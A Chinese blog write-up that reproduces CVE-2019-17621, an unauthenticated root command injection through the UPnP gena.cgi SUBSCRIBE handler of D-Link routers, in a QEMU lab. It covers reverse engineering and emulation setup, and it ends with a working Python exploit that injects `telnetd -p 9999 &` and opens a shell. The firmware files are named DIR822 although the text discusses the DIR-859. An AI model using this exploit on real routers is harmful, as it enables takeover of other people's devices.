描述

D-Link DIR-859 Wi-Fi 路由器 1.05 和 1.06B01 Beta01 中的 UPnP 端点 URL /gena.cgi 允许未经认证的远程攻击者以 root 身份执行系统命令,通过在连接本地网络时向 UPnP 服务发送专门设计的 HTTP SUBSCRIBE 请求。

通过ubuntu18版本复现

漏洞分析

先手操作

前面就不多说了,拿到zip文件解压一下然后binwalk -eM就拿到了文件

看一下保护,mips-32位架构

1
2
3
4
5
6
7
8
9
10
11
 checksec cgibin
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 5)
[*] '/home/yy/桌面/_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/htdocs/cgibin'
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
yy@yy-virtual-machine:~/桌面/_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/htdocs%

IDA逆向分析

首先先找到hena.cgi,发现其执行genacgi_main

1770637046774

然后看genacgi_main,可以发现当请求方式是”SUBSCRIBE”,进入sub_40FCE0()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int genacgi_main()
{
char *v0; // $s0
char *v1; // $a0
char *v2; // $v0
char *v3; // $s1
char *v4; // $s1

v0 = getenv("REQUEST_METHOD");
if ( !v0 )
return -1;
v1 = getenv("REQUEST_URI");
if ( !v1 )
return -1;
v2 = strchr(v1, 63);
v3 = v2;
if ( !v2 || strncmp(v2, "?service=", 9u) )
return -1;
v4 = v3 + 9;
if ( !strcasecmp(v0, "SUBSCRIBE") )
return sub_40FCE0(v4);
if ( !strcasecmp(v0, "UNSUBSCRIBE") )
return sub_4100EC(v4);
else
return -1;
}

追踪sub_40fce0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
int __fastcall sub_40FCE0(const char *a1)
{
char *v2; // $s6
char *v3; // $s4
char *v4; // $s1
char *v5; // $s3
char *v6; // $s5
char *v7; // $s2
int v8; // $v0
int v9; // $a0
int v10; // $s5
int v11; // $v0
char *v12; // $v0
const char *v13; // $s1
int v14; // $v0
char *v15; // $v0
char *v16; // $s4
__pid_t v17; // $v0
__pid_t v18; // $v0
int v19; // $v0
int v20; // $v1
int v21; // $v0
char s[516]; // [sp+40h] [-204h] BYREF

v2 = getenv("SERVER_ID"); #服务端id
v3 = getenv("HTTP_SID"); #是否订阅
v4 = getenv("HTTP_CALLBACK"); #回调URL
v5 = getenv("HTTP_TIMEOUT"); #超时时间
v6 = getenv("HTTP_NT"); #通知类型
v7 = getenv("REMOTE_ADDR"); #客户端ip
if ( !v7 )
v7 = (char *)"";
if ( !v2 )
v2 = (char *)"";
if ( v3 ) #要订阅的话进入这个函数
{
v9 = 400;
if ( v4 || v6 || !v5 ) #无回调||无通知类型||有超时不进入函数
goto LABEL_27;
v19 = strcasecmp(v5, "Second-infinite");
v20 = 0;
if ( v19 )
{
v21 = strncasecmp(v5, "Second-", 7u);
v9 = 400;
if ( v21 )
goto LABEL_27; #如果v5=Second-infinite返回0,所以当v5=!时其格式应为second-XXX
v20 = atoi(v5 + 7);
}
snprintf(
s,
0x200u,
"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh",
"/htdocs/upnp/run.NOTIFY.php", #就是将这个报文给s然后执行xml()函数
v2,
a1,
v3,
v20,
"/var/run",
a1);
xmldbc_ephp(0, 0, s, stdout);
return 0;
}
if ( !v6 ) #无订阅
{
LABEL_25:
v9 = 412;
goto LABEL_27;
}
v8 = strcmp(v6, "upnp:event");
v9 = 412;
if ( v8 || !v4 ) #无回调和v6=upun:event
goto LABEL_27;
if ( !v5 ) #有超时时间
{
v9 = 400;
goto LABEL_27;
}
v10 = 0;
if ( strcasecmp(v5, "Second-infinite") ) #相等返回0
{
v11 = strncasecmp(v5, "Second-", 7u); ##如果v5=Second-infinite返回0,所以当v5=!时其格式应为second-XXX
v9 = 400;
if ( !v11 )
{
v10 = atoi(v5 + 7);
goto LABEL_13;
}
LABEL_27:
cgibin_print_http_status(v9, "", "");
return 0;
}
LABEL_13:
v12 = &v4[strlen(v4) - 1]; #对URL处理
if ( *v12 == 62 )
*v12 = 0;
v13 = &v4[*v4 == 0x3C];
v14 = strncmp(v13, "http://", 7u);
v9 = 412;
if ( v14 )
goto LABEL_27;
v15 = strchr(v13 + 7, 47);
v16 = v15;
if ( !v15 )
goto LABEL_25;
*v15 = 0;
v17 = getpid();
snprintf(
s,
0x200u,
"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh",
"/htdocs/upnp/run.NOTIFY.php",
v2,
a1,
v13 + 7,
v16 + 1,
v10,
v7,
"/var/run",
a1,
v17);
xmldbc_ephp(0, 0, s, stdout);
fflush(stdout);
v18 = getpid();
snprintf(s, 0x200u, "NOTIFY:0:sh %s/%s_%d.sh", "/var/run", a1, v18);
xmldbc_timer(0, 0, s);
return 0;
}

追踪xmldbc_ephp(),a3是作为s(报文继续传递)

1
2
3
4
5
6
7
int __fastcall xmldbc_ephp(int a1, int a2, const char *a3, int a4)
{
size_t v6; // $v0

v6 = strlen(a3);
return sub_414FB8(a1, 10, a2, a3, v6 + 1, a4);
}

追踪sub_414fb8()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall sub_414FB8(int a1, __int16 a2, int a3, int a4, int a5, FILE *a6)
{ #a4是报文
int v6; // $v0
int v7; // $s1
int v8; // $s0
FILE *v9; // $a1

v7 = -1;
v6 = sub_4140BC(); #某个监听函数处理
v8 = v6;
if ( v6 >= 0 )
{
if ( sub_41490C(v6, a2) >= 0 ) #绑定v6和a2,v6是报文长度,a2是10
{
v9 = a6;
if ( !a6 )
v9 = stdout;
v7 = 0;
sub_4146C8(v8, v9);
}
close(v8);
}
return v7;
}

追踪sub_41490C()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __fastcall sub_41490C(int fd, __int16 a2, int a3, void *a4, __int16 a5)
{
int v6; // $v0
int v7; // $v1
int v8; // $v0
_WORD buf[2]; // [sp+18h] [-1Ch] BYREF
int v11; // [sp+1Ch] [-18h]
int v12; // [sp+20h] [-14h]
void *v13; // [sp+28h] [-Ch]

buf[0] = a2;
v11 = a3;
v13 = a4;
v12 = 0;
buf[1] = a5;
v6 = sub_41484C(fd, buf);
v7 = -1;
if ( v6 > 0 )
{
v8 = sub_41484C(fd, v13); #v13是报文
v7 = 0;
if ( v8 <= 0 )
return -1;
}
return v7;
}

追踪sub_41484C()函数,通过send发送报文然后向 run.NOTIFY.php 发了个包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
size_t __fastcall sub_41484C(int fd, char *buf, size_t a3)
{
size_t i; // $s0
ssize_t v7; // $v0
ssize_t v8; // $v1
bool v9; // dc
size_t result; // $v0
int *v11; // $v0

for ( i = a3; ; i -= v8 )
{
if ( !i )
return a3;
v7 = send(fd, buf, i, 0x4000); #发送报文
v8 = v7;
if ( v7 <= 0 )
{
v9 = v7 == 0;
result = -1;
if ( v9 )
return result;
v11 = _errno_location();
v8 = 0;
if ( *v11 != 4 )
break;
}
buf += v8;
}
return -1;
}

php查看

gena.php:有各个函数的功能概述

run.NOTIFY.php:可以看到请求方式是SUBSCRIBE时进入GENA_subscribe_new()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?
include "/htdocs/phplib/upnp/xnode.php";
include "/htdocs/upnpinc/gvar.php";
include "/htdocs/upnpinc/gena.php";

$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);
$gena_path = $gena_path."/".$SERVICE;
GENA_subscribe_cleanup($gena_path);

/* IGD services */
if ($SERVICE == "L3Forwarding1") $php = "NOTIFY.Layer3Forwarding.1.php";
else if ($SERVICE == "OSInfo1") $php = "NOTIFY.OSInfo.1.php";
else if ($SERVICE == "WANCommonIFC1") $php = "NOTIFY.WANCommonInterfaceConfig.1.php";
else if ($SERVICE == "WANEthLinkC1") $php = "NOTIFY.WANEthernetLinkConfig.1.php";
else if ($SERVICE == "WANIPConn1") $php = "NOTIFY.WANIPConnection.1.php";
/* WFA services */
else if ($SERVICE == "WFAWLANConfig1") $php = "NOTIFY.WFAWLANConfig.1.php";


if ($METHOD == "SUBSCRIBE")
{
if ($SID == "")
GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
else
GENA_subscribe_sid($gena_path, $SID, $TIMEOUT);
}
else if ($METHOD == "UNSUBSCRIBE")
{
GENA_unsubscribe($gena_path, $SID);
}
?>

GENA_subscribe_new()函数:哦吼,发现了一个调用$shell_file的函数GENA_notify_init()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
{
anchor($node_base);
$count = query("subscription#");
$found = 0;
/* find subscription index & uuid */
foreach ("subscription")
{
if (query("host")==$host && query("uri")==$uri) {$found = $InDeX; break;}
}
if ($found == 0)
{
$index = $count + 1;
$new_uuid = "uuid:".query("/runtime/genuuid");
}
else
{
$index = $found;
$new_uuid = query("subscription:".$index."/uuid");
}

/* get timeout */
if ($timeout==0 || $timeout=="") {$timeout = 0; $new_timeout = 0;}
else {$new_timeout = query("/runtime/device/uptime") + $timeout;}
/* set to nodes */
set("subscription:".$index."/remote", $remote);
set("subscription:".$index."/uuid", $new_uuid);
set("subscription:".$index."/host", $host);
set("subscription:".$index."/uri", $uri);
set("subscription:".$index."/timeout", $new_timeout);
set("subscription:".$index."/seq", "1");

GENA_subscribe_http_resp($new_uuid, $timeout);
GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
}

GENA_notify_init():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
{

$inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0);//根据$inf_uid查找网络接口配置路劲
if ($inf_path=="")
{
TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!");
return "";
}
$phyinf = PHYINF_getifname(query($inf_path."/phyinf"));//获取物理接口名
if ($phyinf == "")
{
TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!");
return "";
}

$upnpmsg = query("/runtime/upnpmsg");//获取日志文件路径
if ($upnpmsg == "") $upnpmsg = "/dev/null";
fwrite(w, $shell_file,
"#!/bin/sh\n".//说明生成了一个.sh的文件
'echo "[$0] ..." > '.$upnpmsg."\n".
"xmldbc -P ".$target_php.
" -V INF_UID=".$inf_uid.
" -V HDR_URL=".SECURITY_prevent_shell_inject($uri).
" -V HDR_HOST=".SECURITY_prevent_shell_inject($host).
" -V HDR_SID=".SECURITY_prevent_shell_inject($sid).
" -V HDR_SEQ=0".
" | httpc -i ".$phyinf." -d ".SECURITY_prevent_shell_inject($host)." -p TCP > ".$upnpmsg."\n"
);
fwrite(a, $shell_file, "rm -f ".$shell_file."\n"); //脚本执行后自行删除
}

漏洞点

这里讲一个shell的用法

1
2
rm -f 'start'.sh	#删除文件 'start'(找不到),然后执行 .sh 命令(不存在)
shell_file="`id`.sh" # 实际文件名是类似:`id`.sh,但执行时会先执行 id 命令!

例子:显示没有权限恰恰说明能够执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
lion@lion-virtual-machine:~/桌面/_DIR822A1_FW103WWb03.bin.extracted% cat start.py

import os
filename = "`touch /tmp/hacked`.sh" # 反引号在这里!
with open(filename, "w") as f:
f.write("#!/bin/sh\necho test\n")
os.system("rm -f " + filename) # 这里会执行 touch /tmp/hacked!

lion@lion-virtual-machine:~/桌面/_DIR822A1_FW103WWb03.bin.extracted% python start.py
Traceback (most recent call last):
File "start.py", line 3, in <module>
with open(filename, "w") as f:
FileNotFoundError: [Errno 2] No such file or directory: '`touch /tmp/hacked`.sh'

那我们试想一下,这个.sh文件若加上引号,然后第二次fwrite时会先提权在删除

环境搭建

下载链接:

https://people.debian.org/~aurel32/qemu/mips/

下载

1770643090158

mips系统配置

虚拟机要设置为桥接模式

获取安装依赖:

1
sudo apt-get install bridge-utils uml-utilities

修改主机网络配置

1
sudo gedit /etc/network/interfaces

将内容修改为

1
2
3
4
5
6
7
8
9
10
11
# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback

auto ens33
iface ens33 inet dhcp

#auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_maxwait 0

修改网络接口连接脚本

1
sudo gedit /etc/qemu-ifup
1
2
3
4
5
6
7
8
#####################################################
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 3
#在文件最后部分补充

赋予可执行权限然后重启网络配置使其生效

1
2
sudo chmod a+x /etc/qemu-ifup
sudo /etc/init.d/networking restart

手动版qemu启动配置

1
2
sudo ifdown ens33
sudo ifup br0

在下载的两个文件的目录下执行

1
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap

成功启动!登陆账号/密码:root/root

1770709728319

然后是看网卡配置:ifconfig

给网卡静态ip

1
2
3
4
5
6
# 1. 启动eth0网卡
ifconfig eth0 up
# 2. 配置IP(比如192.168.2.200,和之前的环境保持一致)
ifconfig eth0 192.168.2.200 netmask 255.255.255.0
# 3. 验证配置
ifconfig eth0

用户机

1
ssh root@192.168.2.200

成功!!

1770709798353

然后是将squashfs—root文件上传

1
scp -r ./squashfs-root root@192.168.2.200:/root/ 

1770709945366

1
chroot /root/squashfs-root sh

1770710028232

然后后面的我还没搞明白,就先不写了

自动版访问

1
2
3
git clone https://github.com/liyansong2018/firmware-analysis-plus.git
cd firmware-analysis-plus
./setup.sh

修改 fap.config 文件中的密码,改为 root 系统用户的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
yy@yy-virtual-machine:~/firmware-analysis-plus% ./fap.py -q ./qemu-builds/2.5.0/ DIR822A1_FW103WWb03.zip


______ _ ___
| ___| (_) / _ \
| |_ _ _ __ ___ / /_\ \ _ __ ___
| _| | | | '_ ` _ \ | _ | | '_ \ / __| ++
| | | | | | | | | | | | | | | | | | \__ \
\_| |_| |_| |_| |_| \_| |_/ |_| |_| |___/

Welcome to the Firmware Analysis Plus - v2.3.1
By lys - https://github.com/liyansong2018/firmware-analysis-plus

[+] Firmware: DIR822A1_FW103WWb03.zip
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: mipseb
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('br0', '192.168.0.1'), ('br1', '192.168.7.1')]
[+] Using qemu-system-mips from /home/yy/firmware-analysis-plus/qemu-builds/2.5.0
[+] All set! Press ENTER to run the firmware...
[+] When running, press Ctrl + A X to terminate qemu

1770717993244

1
2
./shutdown.py #关闭终端
./reset.py #重置和删除中间件

exp:

这个exp是尝试连接到9999端口,这个要root权限所以连接上了就说明成功了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import socket
import os
from time import sleep

# Exploit By Miguel Mendez & Pablo Pollanco
def httpSUB(server, port, shell_file):
print('\n[*] Connection {host}:{port}'.format(host=server, port=port)) # 修复格式化语法
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 构造请求(修复Host头的端口拼接问题)
request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\r\n"
request += "Host: " + str(server) + "\r\n" # 移除多余的port拼接(Host头不需要带端口)
request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\r\n"
request += "NT: upnp:event\r\n"
request += "Timeout: Second-1800\r\n"
request += "Accept-Encoding: gzip, deflate\r\n"
request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\r\n\r\n"

sleep(1)
print('[*] Sending Payload')
con.connect((socket.gethostbyname(server), port))
con.send(request.encode('utf-8')) # 明确指定编码
results = con.recv(4096)
print('[*] Response: ', results.decode('utf-8', errors='ignore')) # 打印响应(方便排错)
sleep(1)
print('[*] Running Telnetd Service')
sleep(1)
print('[*] Opening Telnet Connection\n')
sleep(2)
os.system('telnet ' + str(server) + ' 9999')

# 核心修复:Python3 使用 input() 替代 raw_input()
serverInput = input('IP Router: ')
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
yy@yy-virtual-machine:~/桌面/dir-859% nmap 192.168.0.1

Starting Nmap 7.60 ( https://nmap.org ) at 2026-02-10 18:17 CST
Nmap scan report for 192.168.0.1
Host is up (0.0063s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
443/tcp open https
49152/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds
yy@yy-virtual-machine:~/桌面/dir-859% ls
150090.squashfs debian_squeeze_mips_standard.qcow2 vmlinux-2.6.32-5-4kc-malta
2888 exp.py
2888.7z squashfs-root
yy@yy-virtual-machine:~/桌面/dir-859% python exp.py
IP Router: 192.168.0.1

[*] Connection 192.168.0.1:49152
[*] Sending Payload
[*] Response: HTTP/1.1 200 OK
Server: WebServer
Date: Sat, 01 Jan 2000 02:18:47 GMT
SID: uuid:A60289A5-4CC2-726E-9734-2833F182804D
TIMEOUT: Second-1800


[*] Running Telnetd Service
[*] Opening Telnet Connection

Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.


BusyBox v1.14.1 (2016-12-29 16:47:48 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# whoani
whoani: not found
# whoami
whoami: not found
# id
id: not found
# ls
firmadyne dev sbin tmp var lost+found
etc sys lib home mnt
www bin usr proc htdocs
#

参考致谢

[【IOT 学习三】DLink路由器RCE漏洞 CVE-2019-17621复现 | Loora1N’s Blog | 鹭雨](https://loora1n.github.io/2022/09/16/[IOT 学习三]CVE-2019-17621复现/)

DLink RCE漏洞CVE-2019-17621分析 - FreeBuf网络安全行业门户